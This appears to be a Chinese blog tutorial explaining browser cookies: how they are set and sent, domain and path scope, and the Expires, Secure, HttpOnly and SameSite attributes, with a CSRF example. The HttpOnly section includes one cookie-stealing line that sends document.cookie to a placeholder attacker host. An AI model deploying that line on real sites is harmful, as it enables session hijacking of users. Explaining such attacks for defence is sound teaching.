你对cookie了解多少?

3,422 阅读13分钟

cookie的介绍

我们都知道HTTP协议无状态的,这种无状态意味着程序需要验证每一次请求,从而辨别客户端的身份。 Cookie,就是为了辨别客户端身份而储存在客户端本地的数据。

Cookie由服务器生成,发送给浏览器,浏览器把cookie保存到内存中或者某个目录下的文件内,下一次请求同一网站时会把该cookie发送给服务器。
比如谷歌浏览器的cookie文件:

由于cookie是保存在客户端上的,所以浏览器加入了一些限制确保 cookie 不会被恶意使用,同时不会占据太多磁盘空间,所以 cookie 的数量和大小是有限的。
不同浏览器对 cookie 数量和大小的限制,是不一样的。一般来说,单个域设置的 cookie 不应超过50个,每个 cookie 的大小不能超过4KB。超过限制以后,cookie 将被忽略,不会被设置。

cookie的作用

  • 对话管理:保存已登录用户的凭证
  • 简单的缓存:存储一些简单的业务数据,比如购物车等需要记录的信息
  • 个性化:保存用户的偏好,比如网页的字体大小、背景色等等
  • 追踪:记录和分析用户行为

cookie的分类

  • 第一方cookie:由相同站点发送的 cookie。
  • 第三方cookie:由跨站请求发送的cookie。

这里我们先了解一下概念,关于相同站点跨站的判断我们在讲到samesite属性的时候再说。

  • 会话cookie:没有设置有效时间的 cookie。只要关闭了浏览器(注意不是关闭网页页面),cookie 就会被销毁。(cookie 存在于浏览器的内存中,当关闭了浏览器 cookie 就销毁了)
  • 永久cookie:cookie 被保存在文件中,在有效时间内可长期存在,浏览器重启或机器重启都可以再次读取到cookie。

cookie的特性

后端通过http头设置

服务端通过在http响应头中设置一个或多个Set-Cookie来设置 cookie。如下图:

请求时通过http头传给后端

浏览器接收到Set-Cookie指令时,会将cookie的名称与值储存在浏览器的cookie存放区,并记录该cookie隶属的域名网址路径创建时间过期时间是否脚本可访问是否为安全连接 等属性。
当浏览器再次发出HTTP Request指令到服务器时,就会比对目前在浏览器的 cookie 存放区有沒有该域名该路径尚未过期以及符合其它一些条件的cookie,如果有的话就会包含在 HTTP Request 指令的Cookie头中,多个cookie以分号;分隔。如下图:

假设浏览器在请求一个网页时,该网页包含 20 张图、3 个 CSS 文件、2 个 JavaScript 文件,那么同样一份 cookie 就会发送 25 次到服务端,如果 cookie 的大小有 4K 的话,光是浏览一个网页你可能就要从你的电脑发送出 100KB 的数据。
所以使用 cookie 并非「多多益善」,而是要「小心使用」,否则会造成不必要的带宽浪费。

前端可读写

Javascript可以使用document.cookie对当前网站的cookie进行读写:

注意:Javascript 可读写的 cookie 只能是没有用http-only限制的 cookie

// 读取浏览器中的cookie
console.log(document.cookie);

// 写入两个 cookie:myname 和 myhome
// 通过执行多次 document.cookie=... 语句来添加多个 cookie
document.cookie='myname=lhm;path=/;domain=.baidu.com';
document.cookie='myhome=gd;path=/;domain=.baidu.com';
  • 如果要修改某个cookie,只需用document.cookie = ...语句创建一个同名的cookie,注意domainpath要保持一致。则原来的cookie会被覆盖,达到修改的目的。
  • 如果要删除某个cookie,用document.cookie = ...语句将cookie的过期时间修改为一个过去的时间,如下:
var exp = new Date();
exp.setTime(exp.getTime() - 1);
document.cookie = "myhome=gd;path=/;domain=.baidu.com;expires=" + exp.toGMTString();

max-age设置为0也能达到删除的效果:

document.cookie = "myhome=gd;path=/;domain=.baidu.com;max-age=0";

遵守同源策略

这里的遵守同源策略是说当前网页只能访问与它同源的 cookie。
是否同源是用当前网页网址cookiedomain来判断的。
谷歌浏览器通过F12-Application-Storage-Cookies-当前域名所查看到的 cookie,有两个来源,一是服务端通过在http响应头中设置的 cookie,二是浏览器本地所读取到的 cookie。在本地读取 cookie 就需要遵守同源策略。

  • 浏览器的同源策略中的同源指的是协议域名端口三者相同,而cookie同源仅要求域名,也就是说,两个网址只要域名相同,就可以共享cookie,注意,这里不要求协议端口相同。
    所以https://example.com:8080/http://example.com:8081/cookie是共享的,因为它们的domain都是example.com

  • 同源策略认为子域属于不同的域,例如child1.a.coma.comchild1.a.comchild2.a.comxxx.child1.a.comchild1.a.com两两不同源

  • 一个页面可以为本域和任何父域设置cookie,只要父域不是公共后缀(public suffix)即可。

所以两个不同的子域想要共享cookie,只要把 cookie 的domain设成相同的父域即可。
比如,http://child1.a.comhttp://child2.a.com想要共享cookie,只要把它们的 cookie 的domain设置成a.com即可。

我在http://blog.csdn.net页面设置一个cookiedomain设置为父域: 设置成功后在ApplicationTab中可以查看新增的cookie 可以看到该cookiedomain的值为.csdn.net
然后我们再打开https://www.csdn.net/页面,用document.cookie来查看一下 cookie: 可以看到www.csdn.net页面也可以访问我们刚刚在blog.csdn.net页面新增的那个cookie
这就达到共享的目的了。

设置cookie的时候,如果指定cookie的所属域名为像上面例子中的.csdn.net这样的顶级域名,那么二级域名三级域名不用做任何设置,都可以读取这个cookie

列个表格总结一哈
(横向是 cookie 的 domain 值,纵向是当前地址栏中的网页网址,表格内容表示是否可以访问)

域/cookie.domain molibird.com .molibird.com a.molibird.com b.molibird.com
molibird.com/index.php 可以 可以 X X
a.molibird.com/index.php X 可以 可以 X
b.molibird.com/index.php X 可以 X 可以

Cookie 的属性

Expires,Max-Age

  • Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个cookie。它的值是UTC格式,可以使用Date.prototype.toUTCString()进行格式转换。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

浏览器根据本地时间,决定 cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 cookie 一定会在服务器指定的时间过期。

  • Max-Age属性指定从现在开始 cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 cookie。

  • 如果同时指定了ExpiresMax-Age,那么Max-Age的值将优先生效。

  • 如果Set-Cookie字段没有指定ExpiresMax-Age属性,那么这个 cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 cookie

Domain

Domain属性指定浏览器发出HTTP请求时,哪些域名要附带这个 cookie

如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 cookie 。
比如,example.com不设置 cookie 的domain属性,那么sub.example.com将不会附带这个 cookie 。

举例验证一下:
1、修改hosts文件,为本地设置了两个域名 2、在elin.com下的页面设置cookie,该 cookie 不设置domain 3、访问该页面并查看 cookie 4、访问db.elin.com下的页面并查看 cookie 可以看到子域名并不能看到这个 cookie。

如果指定了domain属性,那么子域名也会附带这个 cookie 。

继续用上面的例子验证:
1、修改elin.com下的页面的cookie设置,该 cookie 设置domain 2、清除该页面下的 cookie,重新访问该页面并查看 cookie 3、刷新db.elin.com下的页面并查看 cookie 可以看到子域名可以看到这个 cookie。

如果服务器指定的域名不属于服务器当前域名或者其父域名,浏览器会拒绝这个 cookie 。

继续用上面的例子验证:
1、修改elin.com下的页面的cookie设置,该 cookie 的domain设置为一个不相关的域名 2、清除该页面下的 cookie,重新访问该页面并查看 cookie 可以看到没有 cookie,浏览器拒绝了这个 cookie。

Path

Path属性指定浏览器发出HTTP请求时,哪些路径要附带这个cookie
只要浏览器发现,Path属性值是HTTP请求路径的开头一部分,就会在头信息里面带上这个 cookie 。
比如,Path属性是/,那么请求/docs路径也会包含该cookie。当然,前提是域名必须一致

Secure

Secure属性指定浏览器只有在加密协议HTTPS下,才能将这个cookie发送到服务器。
该属性只是一个开关,不需要指定值。


通过谷歌浏览器开发者工具控制台设置一个Cookie具有Secure属性。

document.cookie = 'softwhy="antzone";max-age=1200;path=/;secure;'

上述代码执行结果会出现如下两种情况:
(1)如果站点采用HTTPS,那么Cookie生成成功。
(2)如果站点采用HTTP,那么Cookie生成失败。


上面是前端JavaScript写入Cookie,后端语言也遵循上面两条规则,看如下PHP代码:

<?php
setcookie("softwhy", "antzone", time()+3600, "/", "", 1);
?>

如果连接到后端的请求采用 HTTPS,那么 Cookie 生成成功。
如果请求采用 HTTP,那么 Cookie 生成失败,尽管在HTTP头部有对应的 Set-Cookie 内容: 在这里插入图片描述 虽然在返回头中有 Set-Cookie 内容,但是不会真正成功生成对应的 Cookie。

HttpOnly

HttpOnly属性指定该cookie无法通过JavaScript脚本拿到,主要是document.cookieXMLHttpRequest对象Request API。这样就防止了该cookie被脚本读到,只有浏览器发出HTTP请求时,才会带上该cookie

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的cookie发往第三方服务器。如果设置了一个cookieHttpOnly属性,上面代码就不会读到该cookie

SameSite

SameSite 的作用

Cookie 的 SameSite 属性就是用来限制第三方 Cookie,从而减少安全风险的。

Chrome 51 开始,浏览器的 cookie 新增加了一个SameSite属性,SameSite 阻止浏览器将此 cookie 与跨站点请求一起发送,其主要目标是降低跨源信息泄漏的风险,同时也在一定程度上阻止了 CSRF 攻击和用户追踪。

Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 cookie 的HTTP请求,这就是CSRF 攻击

举例来说,用户登陆了银行网站your-bank.com,银行服务器发来了一个 cookie

Set-Cookie:id=a3fWa;

用户后来又访问了恶意网站malicious.com,上面有一个表单。

<form action="your-bank.com/transfer" method="POST">
  ...
</form>

用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 cookie 的请求。

Cookie 的 domain (your-bank.com) 与当前访问的网站 (malicious.com) 不一样,这种 cookie 就称为第三方 cookie。它除了用于 CSRF 攻击,还可以用于用户追踪。
比如,你的网页上请求了一张 Facebook 的图片,Facebook 返回数据的时候顺便返回了一个 cookie,这个 cookie 的 domain 是facebook.com

<img src="facebook.com/face.png">

下次你再访问 Facebook 时发出的请求就会带有这个 cookie,从而 Facebook 就会知道你是谁了。


SameSite 的值

Cookie 的SameSite属性可以设置三个值:StrictLaxNone

  • Strict

Strict 是最严格的防护,将阻止浏览器在所有跨站点请求中将 cookie 发送到目标站点。因此这种设置可以阻止所有 CSRF 攻击。

Set-Cookie: CookieName=CookieValue; SameSite=Strict;

这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 cookie,跳转过去总是未登陆状态。
不过,具有交易业务的网站很可能不希望从外站链接到任何交易页面,因此这种场景最适合使用 strict 标志。

  • Lax

Lax规则稍稍放宽,大多数情况也是不发送第三方 cookie,但是导航到目标网址的Get请求除外。另外,使用JavaScript脚本发起的请求也无法携带第三方 cookie。

Set-Cookie: CookieName=CookieValue; SameSite=Lax;

导航到目标网址的 GET 请求,只包括三种情况:链接预加载请求以 GET 方式提交的表单。详见下表。

请求类型 示例 正常情况 Lax
链接 <a href="..."></a> 发送 Cookie 发送 Cookie
预加载 <link rel="prerender" href="..."/> 发送 Cookie 发送 Cookie
GET 表单 <form method="GET" action="..."> 发送 Cookie 发送 Cookie
POST 表单 <form method="POST" action="..."> 发送 Cookie 不发送
iframe <iframe src="..."></iframe> 发送 Cookie 不发送
AJAX $.get("...") 发送 Cookie 不发送
Image <img src="..."> 发送 Cookie 不发送

设置了 Strict 或 Lax 以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。

  • None

Chrome 计划将 Lax 变为默认设置。这时,网站可以选择显式关闭 SameSite 属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。

下面的设置无效。

Set-Cookie: widget_session=abc123; SameSite=None

下面的设置有效。

Set-Cookie: widget_session=abc123; SameSite=None; Secure

SameSite=None的 cookie 会在同站请求、跨站请求下发送。

  1. 在旧版浏览器,如果SameSite属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于NoneCookies会被包含在任何请求中——包括跨站请求。
  2. 但是,在Chrome 80+版本中,SameSite的默认属性是SameSite=Lax。换句话说,当 Cookie 没有设置 SameSite 属性时,将会视作 SameSite 属性被设置为Lax。如果想要指定 Cookies 在同站、跨站请求都被发送,那么需要明确指定 SameSite 为 None。具有 SameSite=None 的 Cookie 也必须标记为secure并通过HTTPS传送。
  3. Chrome 也宣布,将在下个版本也就是Chrome 83版本,在访客模式下禁用第三方 Cookie,在2022年全面禁用第三方 Cookie,到时候,即使你能指定 SameSite 为 None 也没有意义,因为你已经无法写入第三方 Cookie 了。

跨站的判断

上面我们讲cookie的分类的时候讲到第一方cookie第三方cookie的区别就是:是否是相同站点发送的(不同则为跨站)。
所以第三方cookie也可以理解为跨站请求所设置的cookie

所以,第三方cookie定义中的跨站samesite所作用的跨站请求中的跨站,两者的判断是一样的,所以我们放到一起来说。

那么怎么判断是不是形成跨站了呢?

我们是拿 “请求的目标URL(或者cookiedomain)” 和 “当前网站URL(也就是浏览器地址栏中的网址)” 这两者来进行比较从而判断是否形成跨站的。

两者的ORIGIN注册域相同则为相同站点,不同则构成跨站。所谓注册域,是指您可以购买或租用的域名,即公共后缀(public suffix)之下的一级,也称为顶级域名

本文使用 mdnice 排版